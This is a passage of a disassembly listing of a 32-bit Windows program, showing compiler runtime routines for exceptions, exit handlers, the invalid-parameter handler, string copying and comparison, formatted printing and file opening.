		pop	edi
		pop	esi
		pop	ebp
		retn
sub_40CF85	endp


; =============== S U B	R O U T	I N E =======================================



sub_40CFE0	proc near		; CODE XREF: sub_401C3B+11p
		mov	eax, ecx
		and	dword ptr [eax+4], 0
		and	dword ptr [eax+8], 0
		mov	dword ptr [eax], offset	off_41E35C
		retn
sub_40CFE0	endp


; =============== S U B	R O U T	I N E =======================================



sub_40CFF1	proc near		; CODE XREF: sub_402244+2Fp
					; sub_415CC2+15Dp

arg_0		= dword	ptr  4

		push	ebx
		mov	ebx, [esp+4+arg_0]
		push	esi
		push	edi
		mov	edi, ecx
		mov	dword ptr [edi], offset	off_41E35C
		mov	eax, [ebx]
		test	eax, eax
		jz	short loc_40D02C
		push	eax
		call	sub_40C9B0
		mov	esi, eax
		inc	esi
		push	esi
		call	sub_40DC83
		test	eax, eax
		pop	ecx
		pop	ecx
		mov	[edi+4], eax
		jz	short loc_40D030
		push	dword ptr [ebx]
		push	esi
		push	eax
		call	sub_411E25
		add	esp, 0Ch
		jmp	short loc_40D030
; ---------------------------------------------------------------------------

loc_40D02C:				; CODE XREF: sub_40CFF1+13j
		and	dword ptr [edi+4], 0

loc_40D030:				; CODE XREF: sub_40CFF1+2Bj
					; sub_40CFF1+39j
		mov	dword ptr [edi+8], 1
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebx
		retn	4
sub_40CFF1	endp


; =============== S U B	R O U T	I N E =======================================



sub_40D03F	proc near		; CODE XREF: sub_40D417+Ap

arg_0		= dword	ptr  4

		mov	eax, ecx
		mov	ecx, [esp+arg_0]
		mov	dword ptr [eax], offset	off_41E35C
		mov	ecx, [ecx]
		and	dword ptr [eax+8], 0
		mov	[eax+4], ecx
		retn	8
sub_40D03F	endp


; =============== S U B	R O U T	I N E =======================================



sub_40D057	proc near		; CODE XREF: sub_402043+15p
					; sub_402244+51p ...

arg_0		= dword	ptr  4

		push	ebx
		mov	ebx, [esp+4+arg_0]
		push	esi
		mov	esi, ecx
		mov	dword ptr [esi], offset	off_41E35C
		mov	eax, [ebx+8]
		mov	[esi+8], eax
		test	eax, eax
		mov	eax, [ebx+4]
		push	edi
		jz	short loc_40D0A4
		test	eax, eax
		jz	short loc_40D09E
		push	eax
		call	sub_40C9B0
		mov	edi, eax
		inc	edi
		push	edi
		call	sub_40DC83
		test	eax, eax
		pop	ecx
		pop	ecx
		mov	[esi+4], eax
		jz	short loc_40D0A7
		push	dword ptr [ebx+4]
		push	edi
		push	eax
		call	sub_411E25
		add	esp, 0Ch
		jmp	short loc_40D0A7
; ---------------------------------------------------------------------------

loc_40D09E:				; CODE XREF: sub_40D057+1Ej
		and	dword ptr [esi+4], 0
		jmp	short loc_40D0A7
; ---------------------------------------------------------------------------

loc_40D0A4:				; CODE XREF: sub_40D057+1Aj
		mov	[esi+4], eax

loc_40D0A7:				; CODE XREF: sub_40D057+36j
					; sub_40D057+45j ...
		pop	edi
		mov	eax, esi
		pop	esi
		pop	ebx
		retn	4
sub_40D057	endp


; =============== S U B	R O U T	I N E =======================================



sub_40D0AF	proc near		; CODE XREF: sub_401C0E+6j
					; .text:00401C22p ...
		cmp	dword ptr [ecx+8], 0
		mov	dword ptr [ecx], offset	off_41E35C
		jz	short locret_40D0C4
		push	dword ptr [ecx+4]
		call	sub_40DBA6
		pop	ecx

locret_40D0C4:				; CODE XREF: sub_40D0AF+Aj
		retn
sub_40D0AF	endp


; =============== S U B	R O U T	I N E =======================================



sub_40D0C5	proc near		; DATA XREF: ev73vtp2:off_41E304o
					; ev73vtp2:off_41E35Co	...
		mov	eax, [ecx+4]
		test	eax, eax
		jnz	short locret_40D0D1
		mov	eax, offset aUnknownExcepti ; "Unknown exception"

locret_40D0D1:				; CODE XREF: sub_40D0C5+5j
		retn
sub_40D0C5	endp


; =============== S U B	R O U T	I N E =======================================



sub_40D0D2	proc near		; DATA XREF: ev73vtp2:off_41E35Co

arg_0		= byte ptr  4

		push	esi
		mov	esi, ecx
		call	sub_40D0AF
		test	[esp+4+arg_0], 1
		jz	short loc_40D0E8
		push	esi
		call	sub_40D352
		pop	ecx

loc_40D0E8:				; CODE XREF: sub_40D0D2+Dj
		mov	eax, esi
		pop	esi
		retn	4
sub_40D0D2	endp


; =============== S U B	R O U T	I N E =======================================



sub_40D0EE	proc near		; CODE XREF: sub_40D1CA+18p

var_4		= dword	ptr -4
arg_0		= dword	ptr  4

		push	ecx
		push	ebx
		push	ebp
		push	esi
		push	edi
		push	dword_434E10
		call	sub_40F674
		push	dword_434E0C
		mov	esi, eax
		mov	[esp+1Ch+var_4], esi
		call	sub_40F674
		mov	edi, eax
		cmp	edi, esi
		pop	ecx
		pop	ecx
		jb	short loc_40D193
		mov	ebx, edi
		sub	ebx, esi
		lea	ebp, [ebx+4]
		cmp	ebp, 4
		jb	short loc_40D193
		push	esi
		call	sub_40CA3B
		mov	esi, eax
		cmp	esi, ebp
		pop	ecx
		jnb	short loc_40D17A
		mov	eax, 800h
		cmp	esi, eax
		jnb	short loc_40D13B
		mov	eax, esi

loc_40D13B:				; CODE XREF: sub_40D0EE+49j
		add	eax, esi
		cmp	eax, esi
		jb	short loc_40D151
		push	eax
		push	[esp+18h+var_4]
		call	sub_411F12
		test	eax, eax
		pop	ecx
		pop	ecx
		jnz	short loc_40D168

loc_40D151:				; CODE XREF: sub_40D0EE+51j
		lea	eax, [esi+10h]
		cmp	eax, esi
		jb	short loc_40D193
		push	eax
		push	[esp+18h+var_4]
		call	sub_411F12
		test	eax, eax
		pop	ecx
		pop	ecx
		jz	short loc_40D193

loc_40D168:				; CODE XREF: sub_40D0EE+61j
		sar	ebx, 2
		push	eax
		lea	edi, [eax+ebx*4]
		call	sub_40F608
		pop	ecx
		mov	dword_434E10, eax

loc_40D17A:				; CODE XREF: sub_40D0EE+40j
		mov	esi, [esp+14h+arg_0]
		mov	[edi], esi
		add	edi, 4
		push	edi
		call	sub_40F608
		mov	dword_434E0C, eax
		pop	ecx
		mov	eax, esi
		jmp	short loc_40D195
; ---------------------------------------------------------------------------

loc_40D193:				; CODE XREF: sub_40D0EE+27j
					; sub_40D0EE+33j ...
		xor	eax, eax

loc_40D195:				; CODE XREF: sub_40D0EE+A3j
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		pop	ecx
		retn
sub_40D0EE	endp


; =============== S U B	R O U T	I N E =======================================



sub_40D19B	proc near		; DATA XREF: ev73vtp2:0041E2C8o
		push	esi
		push	4
		push	20h
		call	sub_411ECA
		mov	esi, eax
		push	esi
		call	sub_40F608
		add	esp, 0Ch
		test	esi, esi
		mov	dword_434E10, eax
		mov	dword_434E0C, eax
		jnz	short loc_40D1C3
		push	18h
		pop	eax
		pop	esi
		retn
; ---------------------------------------------------------------------------

loc_40D1C3:				; CODE XREF: sub_40D19B+21j
		and	dword ptr [esi], 0
		xor	eax, eax
		pop	esi
		retn
sub_40D19B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40D1CA	proc near		; CODE XREF: sub_40D206+4p

var_1C		= dword	ptr -1Ch
ms_exc		= CPPEH_RECORD ptr -18h
arg_0		= dword	ptr  8

		push	0Ch
		push	offset dword_421A00
		call	__SEH_prolog4
		call	sub_41200C
		and	[ebp+ms_exc.disabled], 0
		push	[ebp+arg_0]
		call	sub_40D0EE
		pop	ecx
		mov	[ebp+var_1C], eax
		mov	[ebp+ms_exc.disabled], 0FFFFFFFEh
		call	sub_40D200
		mov	eax, [ebp+var_1C]
		call	__SEH_epilog4
		retn
sub_40D1CA	endp


; =============== S U B	R O U T	I N E =======================================



sub_40D200	proc near		; CODE XREF: sub_40D1CA+28p
					; DATA XREF: ev73vtp2:00421A18o
		call	sub_412015
		retn
sub_40D200	endp


; =============== S U B	R O U T	I N E =======================================



sub_40D206	proc near		; CODE XREF: .text:0040D475p
					; sub_4120C9+44p ...

arg_0		= dword	ptr  4

		push	[esp+arg_0]
		call	sub_40D1CA
		neg	eax
		sbb	eax, eax
		neg	eax
		pop	ecx
		dec	eax
		retn
sub_40D206	endp


; =============== S U B	R O U T	I N E =======================================



sub_40D218	proc near		; CODE XREF: sub_412269+15p

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		mov	dword_425AE0, eax
		retn
sub_40D218	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame fpd=2A8h


sub_40D222	proc near		; CODE XREF: sub_40D31E+1Fj
					; sub_40FF08+21p ...

var_328		= dword	ptr -328h
var_31C		= dword	ptr -31Ch
var_2D8		= dword	ptr -2D8h
var_2D4		= dword	ptr -2D4h
var_2D0		= dword	ptr -2D0h
var_244		= word ptr -244h
var_240		= word ptr -240h
var_23C		= word ptr -23Ch
var_238		= word ptr -238h
var_234		= dword	ptr -234h
var_230		= dword	ptr -230h
var_22C		= dword	ptr -22Ch
var_228		= dword	ptr -228h
var_224		= dword	ptr -224h
var_220		= dword	ptr -220h
var_21C		= dword	ptr -21Ch
var_218		= dword	ptr -218h
var_214		= word ptr -214h
var_210		= dword	ptr -210h
var_20C		= dword	ptr -20Ch
var_208		= word ptr -208h
var_4		= dword	ptr -4

		push	ebp
		lea	ebp, [esp-2A8h]
		sub	esp, 328h
		mov	eax, dword_423068
		xor	eax, ebp
		mov	[ebp+2A8h+var_4], eax
		push	esi
		mov	[ebp+2A8h+var_220], eax
		mov	[ebp+2A8h+var_224], ecx
		mov	[ebp+2A8h+var_228], edx
		mov	[ebp+2A8h+var_22C], ebx
		mov	[ebp+2A8h+var_230], esi
		mov	[ebp+2A8h+var_234], edi
		mov	[ebp+2A8h+var_208], ss
		mov	[ebp+2A8h+var_214], cs
		mov	[ebp+2A8h+var_238], ds
		mov	[ebp+2A8h+var_23C], es
		mov	[ebp+2A8h+var_240], fs
		mov	[ebp+2A8h+var_244], gs
		pushf
		pop	[ebp+2A8h+var_210]
		mov	esi, [ebp+2ACh]
		lea	eax, [ebp+2ACh]
		mov	[ebp+2A8h+var_20C], eax
		mov	[ebp+2A8h+var_2D0], 10001h
		mov	[ebp+2A8h+var_218], esi
		mov	eax, [eax-4]
		push	50h
		mov	[ebp+2A8h+var_21C], eax
		lea	eax, [ebp+2A8h+var_328]
		push	0
		push	eax
		call	sub_40CBA0
		lea	eax, [ebp+2A8h+var_328]
		mov	[ebp+2A8h+var_2D8], eax
		lea	eax, [ebp+2A8h+var_2D0]
		add	esp, 0Ch
		mov	[ebp+2A8h+var_328], 0C000000Dh
		mov	[ebp+2A8h+var_31C], esi
		mov	[ebp+2A8h+var_2D4], eax
		call	ds:off_41E0C0
		push	0
		mov	esi, eax
		call	ds:dword_41E1B0	; SetUnhandledExceptionFilter
		lea	eax, [ebp+2A8h+var_2D8]
		push	eax
		call	ds:off_41E1BC
		test	eax, eax
		jnz	short loc_40D2F6
		test	esi, esi
		jnz	short loc_40D2F6
		push	2
		call	sub_4122B5
		pop	ecx

loc_40D2F6:				; CODE XREF: sub_40D222+C6j
					; sub_40D222+CAj
		push	0C000000Dh
		call	ds:dword_41E0D0	; GetCurrentProcess
		push	eax
		call	ds:off_41E0F8
		mov	ecx, [ebp+2A8h+var_4]
		xor	ecx, ebp
		pop	esi
		call	sub_40AFEE
		add	ebp, 2A8h
		leave
		retn
sub_40D222	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40D31E	proc near		; CODE XREF: sub_40B0B4+29p
					; sub_40B0B4+5Fp ...
		push	ebp
		mov	ebp, esp
		push	dword_425AE0
		call	sub_40F674
		test	eax, eax
		pop	ecx
		jz	short loc_40D334
		pop	ebp
		jmp	eax
; ---------------------------------------------------------------------------

loc_40D334:				; CODE XREF: sub_40D31E+11j
		push	2
		call	sub_4122B5
		pop	ecx
		pop	ebp
		jmp	sub_40D222
sub_40D31E	endp


; =============== S U B	R O U T	I N E =======================================



sub_40D342	proc near		; CODE XREF: sub_402D3F+5p
					; sub_402D3F+14p ...
		xor	eax, eax
		push	eax
		push	eax
		push	eax
		push	eax
		push	eax
		call	sub_40D31E
		add	esp, 14h
		retn
sub_40D342	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40D352	proc near		; CODE XREF: .text:00401C2Fp
					; .text:00401CABp ...
		jmp	sub_40DBA6
sub_40D352	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40D357	proc near		; CODE XREF: sub_401BD6+Fp
					; sub_40E09C+84p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	esi
		mov	esi, [ebp+arg_C]
		push	edi
		xor	edi, edi
		cmp	esi, edi
		jnz	short loc_40D369

loc_40D365:				; CODE XREF: sub_40D357+4Bj
		xor	eax, eax
		jmp	short loc_40D3CE
; ---------------------------------------------------------------------------

loc_40D369:				; CODE XREF: sub_40D357+Cj
		cmp	[ebp+arg_0], edi
		jnz	short loc_40D389

loc_40D36E:				; CODE XREF: sub_40D357+5Fj
		call	sub_40FCB4
		push	16h
		pop	esi
		mov	[eax], esi

loc_40D378:				; CODE XREF: sub_40D357+72j
		push	edi
		push	edi
		push	edi
		push	edi
		push	edi
		call	sub_40D31E
		add	esp, 14h
		mov	eax, esi
		jmp	short loc_40D3CE
; ---------------------------------------------------------------------------

loc_40D389:				; CODE XREF: sub_40D357+15j
		cmp	[ebp+arg_8], edi
		jz	short loc_40D3A4
		cmp	[ebp+arg_4], esi
		jb	short loc_40D3A4
		push	esi
		push	[ebp+arg_8]
		push	[ebp+arg_0]
		call	sub_40CC20
		add	esp, 0Ch
		jmp	short loc_40D365
; ---------------------------------------------------------------------------

loc_40D3A4:				; CODE XREF: sub_40D357+35j
					; sub_40D357+3Aj
		push	[ebp+arg_4]
		push	edi
		push	[ebp+arg_0]
		call	sub_40CBA0
		add	esp, 0Ch
		cmp	[ebp+arg_8], edi
		jz	short loc_40D36E
		cmp	[ebp+arg_4], esi
		jnb	short loc_40D3CB
		call	sub_40FCB4
		push	22h
		pop	ecx
		mov	[eax], ecx
		mov	esi, ecx
		jmp	short loc_40D378
; ---------------------------------------------------------------------------

loc_40D3CB:				; CODE XREF: sub_40D357+64j
		push	16h
		pop	eax

loc_40D3CE:				; CODE XREF: sub_40D357+10j
					; sub_40D357+30j
		pop	edi
		pop	esi
		pop	ebp
		retn
sub_40D357	endp


; =============== S U B	R O U T	I N E =======================================



sub_40D3D2	proc near		; CODE XREF: sub_40D3E0+3p
		push	ecx
		mov	dword ptr [ecx], offset	off_41E37C
		call	sub_4122BD
		pop	ecx
		retn
sub_40D3D2	endp


; =============== S U B	R O U T	I N E =======================================



sub_40D3E0	proc near		; DATA XREF: ev73vtp2:off_41E37Co

arg_0		= byte ptr  4

		push	esi
		mov	esi, ecx
		call	sub_40D3D2
		test	[esp+4+arg_0], 1
		jz	short loc_40D3F6
		push	esi
		call	sub_40D352
		pop	ecx

loc_40D3F6:				; CODE XREF: sub_40D3E0+Dj
		mov	eax, esi
		pop	esi
		retn	4
sub_40D3E0	endp


; =============== S U B	R O U T	I N E =======================================



sub_40D3FC	proc near		; CODE XREF: sub_415CC2+12Dp

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		add	ecx, 9
		push	ecx
		add	eax, 9
		push	eax
		call	sub_40D5D0
		neg	eax
		pop	ecx
		sbb	eax, eax
		pop	ecx
		inc	eax
		retn	4
sub_40D3FC	endp


; =============== S U B	R O U T	I N E =======================================



sub_40D417	proc near		; CODE XREF: .text:0040D46Bp
		push	esi
		push	1
		push	offset off_423050
		mov	esi, ecx
		call	sub_40D03F
		mov	dword ptr [esi], offset	off_41E304
		mov	eax, esi
		pop	esi
		retn
sub_40D417	endp

; ---------------------------------------------------------------------------

loc_40D430:				; CODE XREF: sub_401EEE+5p
					; sub_401FF2+5p ...
		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		jmp	short loc_40D445
; ---------------------------------------------------------------------------

loc_40D438:				; CODE XREF: .text:0040D450j
		push	dword ptr [ebp+8]
		call	sub_412337
		test	eax, eax
		pop	ecx
		jz	short loc_40D454

loc_40D445:				; CODE XREF: .text:0040D436j
		push	dword ptr [ebp+8]
		call	sub_40DC83
		test	eax, eax
		pop	ecx
		jz	short loc_40D438
		leave
		retn
; ---------------------------------------------------------------------------

loc_40D454:				; CODE XREF: .text:0040D443j
		test	byte ptr dword_425AF0, 1
		mov	esi, offset dword_425AE4
		jnz	short loc_40D47B
		or	dword_425AF0, 1
		mov	ecx, esi
		call	sub_40D417
		push	offset loc_41DE46
		call	sub_40D206
		pop	ecx

loc_40D47B:				; CODE XREF: .text:0040D460j
		push	esi
		lea	ecx, [ebp-0Ch]
		call	sub_40D057
		push	offset dword_422098
		lea	eax, [ebp-0Ch]
		push	eax
		mov	dword ptr [ebp-0Ch], offset off_41E304
		call	sub_40E69C
; ---------------------------------------------------------------------------
		db 7 dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40D4A0	proc near		; CODE XREF: sub_4022A6+19Cp
					; sub_4036E9+48p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	ecx, [esp+arg_8]
		push	edi
		test	ecx, ecx
		jz	loc_40D53F
		push	esi
		push	ebx
		mov	ebx, ecx
		mov	esi, [esp+0Ch+arg_4]
		test	esi, 3
		mov	edi, [esp+0Ch+arg_0]
		jnz	short loc_40D4CC
		shr	ecx, 2
		jnz	loc_40D54F
		jmp	short loc_40D4F3
; ---------------------------------------------------------------------------

loc_40D4CC:				; CODE XREF: sub_40D4A0+1Fj
					; sub_40D4A0+45j
		mov	al, [esi]
		add	esi, 1
		mov	[edi], al
		add	edi, 1
		sub	ecx, 1
		jz	short loc_40D506
		test	al, al
		jz	short loc_40D50E
		test	esi, 3
		jnz	short loc_40D4CC
		mov	ebx, ecx
		shr	ecx, 2
		jnz	short loc_40D54F

loc_40D4EE:				; CODE XREF: sub_40D4A0+ADj
		and	ebx, 3
		jz	short loc_40D506

loc_40D4F3:				; CODE XREF: sub_40D4A0+2Aj
					; sub_40D4A0+64j
		mov	al, [esi]
		add	esi, 1
		mov	[edi], al
		add	edi, 1
		test	al, al
		jz	short loc_40D538
		sub	ebx, 1
		jnz	short loc_40D4F3

loc_40D506:				; CODE XREF: sub_40D4A0+39j
					; sub_40D4A0+51j
		mov	eax, [esp+0Ch+arg_0]
		pop	ebx
		pop	esi
		pop	edi
		retn
; ---------------------------------------------------------------------------

loc_40D50E:				; CODE XREF: sub_40D4A0+3Dj
		test	edi, 3
		jz	short loc_40D52C

loc_40D516:				; CODE XREF: sub_40D4A0+8Aj
		mov	[edi], al
		add	edi, 1
		sub	ecx, 1
		jz	loc_40D5BC
		test	edi, 3
		jnz	short loc_40D516

loc_40D52C:				; CODE XREF: sub_40D4A0+74j
		mov	ebx, ecx
		shr	ecx, 2
		jnz	short loc_40D5A7

loc_40D533:				; CODE XREF: sub_40D4A0+9Bj
					; sub_40D4A0+116j
		mov	[edi], al
		add	edi, 1

loc_40D538:				; CODE XREF: sub_40D4A0+5Fj
		sub	ebx, 1
		jnz	short loc_40D533
		pop	ebx
		pop	esi

loc_40D53F:				; CODE XREF: sub_40D4A0+7j
		mov	eax, [esp+4+arg_0]
		pop	edi
		retn
; ---------------------------------------------------------------------------

loc_40D545:				; CODE XREF: sub_40D4A0+C7j
					; sub_40D4A0+DFj
		mov	[edi], edx
		add	edi, 4
		sub	ecx, 1
		jz	short loc_40D4EE

loc_40D54F:				; CODE XREF: sub_40D4A0+24j
					; sub_40D4A0+4Cj
		mov	edx, 7EFEFEFFh
		mov	eax, [esi]
		add	edx, eax
		xor	eax, 0FFFFFFFFh
		xor	eax, edx
		mov	edx, [esi]
		add	esi, 4
		test	eax, 81010100h
		jz	short loc_40D545
		test	dl, dl
		jz	short loc_40D599
		test	dh, dh
		jz	short loc_40D58F
		test	edx, 0FF0000h
		jz	short loc_40D585
		test	edx, 0FF000000h
		jnz	short loc_40D545
		mov	[edi], edx
		jmp	short loc_40D59D
; ---------------------------------------------------------------------------

loc_40D585:				; CODE XREF: sub_40D4A0+D7j
		and	edx, 0FFFFh
		mov	[edi], edx
		jmp	short loc_40D59D
; ---------------------------------------------------------------------------

loc_40D58F:				; CODE XREF: sub_40D4A0+CFj
		and	edx, 0FFh
		mov	[edi], edx
		jmp	short loc_40D59D
; ---------------------------------------------------------------------------

loc_40D599:				; CODE XREF: sub_40D4A0+CBj
		xor	edx, edx
		mov	[edi], edx

loc_40D59D:				; CODE XREF: sub_40D4A0+E3j
					; sub_40D4A0+EDj ...
		add	edi, 4
		xor	eax, eax
		sub	ecx, 1
		jz	short loc_40D5B3

loc_40D5A7:				; CODE XREF: sub_40D4A0+91j
		xor	eax, eax

loc_40D5A9:				; CODE XREF: sub_40D4A0+111j
		mov	[edi], eax
		add	edi, 4
		sub	ecx, 1
		jnz	short loc_40D5A9

loc_40D5B3:				; CODE XREF: sub_40D4A0+105j
		and	ebx, 3
		jnz	loc_40D533

loc_40D5BC:				; CODE XREF: sub_40D4A0+7Ej
		mov	eax, [esp+0Ch+arg_0]
		pop	ebx
		pop	esi
		pop	edi
		retn
sub_40D4A0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_40D5D0	proc near		; CODE XREF: sub_4022A6+1E8p
					; sub_4022A6+202p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	edx, [esp+arg_0]
		mov	ecx, [esp+arg_4]
		test	edx, 3
		jnz	short loc_40D61C

loc_40D5E0:				; CODE XREF: sub_40D5D0+3Cj
					; sub_40D5D0+6Aj ...
		mov	eax, [edx]
		cmp	al, [ecx]
		jnz	short loc_40D614
		or	al, al
		jz	short loc_40D610
		cmp	ah, [ecx+1]
		jnz	short loc_40D614
		or	ah, ah
		jz	short loc_40D610
		shr	eax, 10h
		cmp	al, [ecx+2]
		jnz	short loc_40D614
		or	al, al
		jz	short loc_40D610
		cmp	ah, [ecx+3]
		jnz	short loc_40D614
		add	ecx, 4
		add	edx, 4
		or	ah, ah
		jnz	short loc_40D5E0
		mov	edi, edi

loc_40D610:				; CODE XREF: sub_40D5D0+18j
					; sub_40D5D0+21j ...
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------
		align 4

loc_40D614:				; CODE XREF: sub_40D5D0+14j
					; sub_40D5D0+1Dj ...
		sbb	eax, eax
		shl	eax, 1
		add	eax, 1
		retn
; ---------------------------------------------------------------------------

loc_40D61C:				; CODE XREF: sub_40D5D0+Ej
		test	edx, 1
		jz	short loc_40D63C
		mov	al, [edx]
		add	edx, 1
		cmp	al, [ecx]
		jnz	short loc_40D614
		add	ecx, 1
		or	al, al
		jz	short loc_40D610
		test	edx, 2
		jz	short loc_40D5E0

loc_40D63C:				; CODE XREF: sub_40D5D0+52j
		mov	ax, [edx]
		add	edx, 2
		cmp	al, [ecx]
		jnz	short loc_40D614
		or	al, al
		jz	short loc_40D610
		cmp	ah, [ecx+1]
		jnz	short loc_40D614
		or	ah, ah
		jz	short loc_40D610
		add	ecx, 2
		jmp	short loc_40D5E0
sub_40D5D0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40D658	proc near		; CODE XREF: sub_402592+84p
					; sub_402592+102p

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= byte ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		push	ebx
		xor	ebx, ebx
		cmp	[ebp+arg_4], ebx
		jnz	short loc_40D683

loc_40D666:				; CODE XREF: sub_40D658+30j
		call	sub_40FCB4
		push	ebx
		push	ebx
		push	ebx
		push	ebx
		push	ebx
		mov	dword ptr [eax], 16h
		call	sub_40D31E
		add	esp, 14h
		or	eax, 0FFFFFFFFh
		jmp	short loc_40D6D0
; ---------------------------------------------------------------------------

loc_40D683:				; CODE XREF: sub_40D658+Cj
		mov	eax, [ebp+arg_0]
		cmp	eax, ebx
		jz	short loc_40D666
		push	esi
		mov	[ebp+var_18], eax
		mov	[ebp+var_20], eax
		lea	eax, [ebp+arg_8]
		push	eax
		push	ebx
		push	[ebp+arg_4]
		lea	eax, [ebp+var_20]
		push	eax
		mov	[ebp+var_1C], 7FFFFFFFh
		mov	[ebp+var_14], 42h
		call	sub_410EB7
		add	esp, 10h
		dec	[ebp+var_1C]
		mov	esi, eax
		js	short loc_40D6C1
		mov	eax, [ebp+var_20]
		mov	[eax], bl
		jmp	short loc_40D6CD
; ---------------------------------------------------------------------------

loc_40D6C1:				; CODE XREF: sub_40D658+60j
		lea	eax, [ebp+var_20]
		push	eax
		push	ebx
		call	sub_410CB6
		pop	ecx
		pop	ecx

loc_40D6CD:				; CODE XREF: sub_40D658+67j
		mov	eax, esi
		pop	esi

loc_40D6D0:				; CODE XREF: sub_40D658+29j
		pop	ebx
		leave
		retn
sub_40D658	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40D6D3	proc near		; CODE XREF: sub_40D797+Ap

var_1C		= dword	ptr -1Ch
ms_exc		= CPPEH_RECORD ptr -18h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	0Ch
		push	offset dword_421A20
		call	__SEH_prolog4
		xor	ebx, ebx
		mov	[ebp+var_1C], ebx
		xor	eax, eax
		mov	edi, [ebp+arg_0]
		cmp	edi, ebx
		setnz	al
		cmp	eax, ebx
		jnz	short loc_40D70E

loc_40D6F2:				; CODE XREF: sub_40D6D3+47j
					; sub_40D6D3+52j
		call	sub_40FCB4
		mov	dword ptr [eax], 16h
		push	ebx
		push	ebx
		push	ebx
		push	ebx
		push	ebx
		call	sub_40D31E
		add	esp, 14h

loc_40D70A:				; CODE XREF: sub_40D6D3+6Bj
					; sub_40D6D3+92j
		xor	eax, eax
		jmp	short loc_40D787
; ---------------------------------------------------------------------------

loc_40D70E:				; CODE XREF: sub_40D6D3+1Dj
		xor	eax, eax
		mov	esi, [ebp+arg_4]
		cmp	esi, ebx
		setnz	al
		cmp	eax, ebx
		jz	short loc_40D6F2
		xor	eax, eax
		cmp	[esi], bl
		setnz	al
		cmp	eax, ebx
		jz	short loc_40D6F2
		call	sub_412776
		mov	[ebp+arg_0], eax
		cmp	eax, ebx
		jnz	short loc_40D740
		call	sub_40FCB4
		mov	dword ptr [eax], 18h
		jmp	short loc_40D70A
; ---------------------------------------------------------------------------

loc_40D740:				; CODE XREF: sub_40D6D3+5Ej
		mov	[ebp+ms_exc.disabled], ebx
		cmp	[edi], bl
		jnz	short loc_40D767
		call	sub_40FCB4
		mov	dword ptr [eax], 16h
		push	0FFFFFFFEh
		lea	eax, [ebp+ms_exc.prev_er]
		push	eax
		push	offset dword_423068
		call	sub_41289C
		add	esp, 0Ch
		jmp	short loc_40D70A
; ---------------------------------------------------------------------------

loc_40D767:				; CODE XREF: sub_40D6D3+72j
		push	eax
		push	[ebp+arg_8]
		push	esi
		push	edi
		call	sub_4124D4
		add	esp, 10h
		mov	[ebp+var_1C], eax
		mov	[ebp+ms_exc.disabled], 0FFFFFFFEh
		call	sub_40D78D
		mov	eax, [ebp+var_1C]

loc_40D787:				; CODE XREF: sub_40D6D3+39j
		call	__SEH_epilog4
		retn
sub_40D6D3	endp


; =============== S U B	R O U T	I N E =======================================



sub_40D78D	proc near		; CODE XREF: sub_40D6D3+ACp
					; DATA XREF: ev73vtp2:00421A38o
		push	dword ptr [ebp+8]
		call	sub_412482
		pop	ecx
		retn
sub_40D78D	endp


; =============== S U B	R O U T	I N E =======================================



sub_40D797	proc near		; CODE XREF: sub_402592+116p
					; sub_407FA4+4Ap

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	40h
		push	[esp+4+arg_4]
		push	[esp+8+arg_0]
		call	sub_40D6D3
		add	esp, 0Ch
		retn
sub_40D797	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40D7AA	proc near		; CODE XREF: sub_402592+131p

var_1C		= dword	ptr -1Ch
ms_exc		= CPPEH_RECORD ptr -18h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= byte ptr  10h

		push	0Ch
		push	offset dword_421A40
		call	__SEH_prolog4
		xor	ebx, ebx
		mov	[ebp+var_1C], ebx
		xor	eax, eax
		mov	esi, [ebp+arg_0]
		cmp	esi, ebx
		setnz	al
		cmp	eax, ebx
		jnz	short loc_40D7E9

loc_40D7C9:				; CODE XREF: sub_40D7AA+49j
		call	sub_40FCB4
		mov	dword ptr [eax], 16h
		push	ebx
		push	ebx
		push	ebx
		push	ebx
		push	ebx
		call	sub_40D31E
		add	esp, 14h
		or	eax, 0FFFFFFFFh
		jmp	loc_40D8E9
; ---------------------------------------------------------------------------

loc_40D7E9:				; CODE XREF: sub_40D7AA+1Dj
		xor	eax, eax
		cmp	[ebp+arg_4], ebx
		setnz	al
		cmp	eax, ebx
		jz	short loc_40D7C9
		mov	[ebp+arg_0], esi
		push	esi
		call	sub_412430
		pop	ecx
		mov	[ebp+ms_exc.disabled], ebx
		test	byte ptr [esi+0Ch], 40h
		jnz	loc_40D8B2
		push	esi
		call	sub_412CF4
		pop	ecx
		cmp	eax, 0FFFFFFFFh
		jz	short loc_40D846
		push	esi
		call	sub_412CF4
		pop	ecx
		cmp	eax, 0FFFFFFFEh
		jz	short loc_40D846
		push	esi
		call	sub_412CF4
		sar	eax, 5
		lea	edi, ds:433CE0h[eax*4]
		push	esi
		call	sub_412CF4
		pop	ecx
		pop	ecx
		and	eax, 1Fh
		imul	eax, 28h
		add	eax, [edi]
